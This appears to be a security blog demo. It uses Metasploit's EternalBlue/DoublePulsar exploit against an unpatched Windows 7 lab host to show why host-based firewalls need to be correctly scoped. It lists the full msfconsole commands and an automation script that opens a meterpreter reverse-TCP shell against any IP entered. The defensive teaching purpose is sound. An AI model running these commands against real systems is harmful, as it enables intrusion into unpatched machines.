top of page

Why Host Based Firewalls are Needed.....

​

​​

This title should read 'Why host-based firewalls are required and are correctly configured', let me explain and demonstrate what I mean. This demo is a perfect example of why patching is essential, if the NHS patched, it would not have been a Wannacry victim. 
​
In this example, the victim OS is Windows 7, unpatched and with the Windows Firewall 'ON' but allowing both incoming and outgoing traffic. The tool to crack open Windows will be Kali Linux running Metasploit and the EternalBlue exploit, the same exploit used by Wannacry. 
 
Kali has an IP of 10.1.1.100
Windows 7 x86 has an IP of 10.1.1.107 with Firewall ON, but allows all traffic.

​

Logon to Kali

​

Download the EternalBlue exploit here

​

Extract and copy 'eternalblue_doublepulsar.rb' to '/usr/share/metasploit-framework/modules/exploits/windows/smb'

​

Copy or move the 'deps' directory to '/root/Eternalblue-Doublepulsar/'

​

Launch a shell and type 'msfconsole' to start Metasploit.

​

Type the following commands.

 

use exploit\windows\smb\eternalblue_doublepulsar

​

show options

​

set TARGETARCHITECTURE x86

​

set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar/deps

​

set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar/deps

​

set RHOST 10.1.1.107

​

set LHOST 10.1.1.100

​

set PROCESSINJECT spoolsv.exe

​

set PAYLOAD windows/meterpreter/reverse_tcp

​

show options

​

run

​

Alternatively save the text below with a .sh extension and then run 'chmod  755 exploit.sh' against the file so it can execute.

Then to execute type ./exploit.sh

​

echo "Target OS is Win7 x86"
echo "Enter IP of Victim"
read varhost

​

i=ifconfig

g=$($i | grep "inet " | grep -v "127" | sed 's/inet//g' | sed 's/  netmask 255.255.255.0  broadcast *.*.*.*//g')

mkdir -p /root/.wine/drive_c


msfconsole -x "use exploit/windows/smb/eternalblue_doublepulsar; set TARGETARCHITECTURE x86 ;set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar/deps; set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar/deps; set RHOST $varhost; set PROCESSINJECT lsass.exe;  set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $g;run" 

​

Oops, looks like I'm the proud owner of a Windows 7 client.....

Now we can have some mischief...... a link to all meterpreter commands is here.

Why settle for a Client when Domain Admins is available. Clearly this is obvious and should be picked up, but it does demonstrates why DA's should never login to clients.

For the 2nd test the Firewalls will be updated to block incoming and rebooted for good measure.

​

No need to close down or exit Metasploit, as long as the exploit is still pointing to EternalBlue, type 'run' to execute the exploit.

​

Well that's boring, â€‹this time the exploit failed.

However, that's not the end of it, the firewall is only as good as its configuration.

​

In this very likely scenario and after reading Microsoft's own tech guide on allowing ConfigMgr's Client Push, a new Firewall Rule is created and deployed to all clients. As the guide states allowing File and Printer sharing, I'll enable the predefined rules which includes SMB-In (port 445).

Now the Firewall is enabled and blocking Inbound traffic as before with the exception of port 445 to any IP.

​

As expected the client was pwned and the fun can start......

Clearly allowing any inbound IP address on port 445 isn't suitable and the correct configuration is to list ConfigMgr's IP in the Scope of the Firewall Rule set

SMB port 445 is allowed inbound and will only allow access from ConfigMgr (10.1.1.1) and it prevented Metasploit deploying EternalBlue. 

Yes to host-based firewalls, however, they are only as good as their configuration. Any incoming port that is open has a named host or IP.
​
It's not just a simple case that the firewall worked at stopping incoming traffic. Windows 7 in this instance was unpatched to prove that the firewall is effective against a Remote Code Exploit, it worked a treat. But it also goes to show how potentially effective a host-based firewall is against zero-day attacks. 
​
Some final thoughts:
​
Don't rely on the Edge Firewalls to protect the internal network the 'Creme Egg or Armadillo ' approach does not protect against the insider threat, the cleaner or a disgruntled employee.
​
A final note, firewalls are only a small part of the overall defence. Patch the OS and Applications, deploy App Control, AV and don't allow Domain or Server Admins to logon to any client etc etc etc.

bottom of page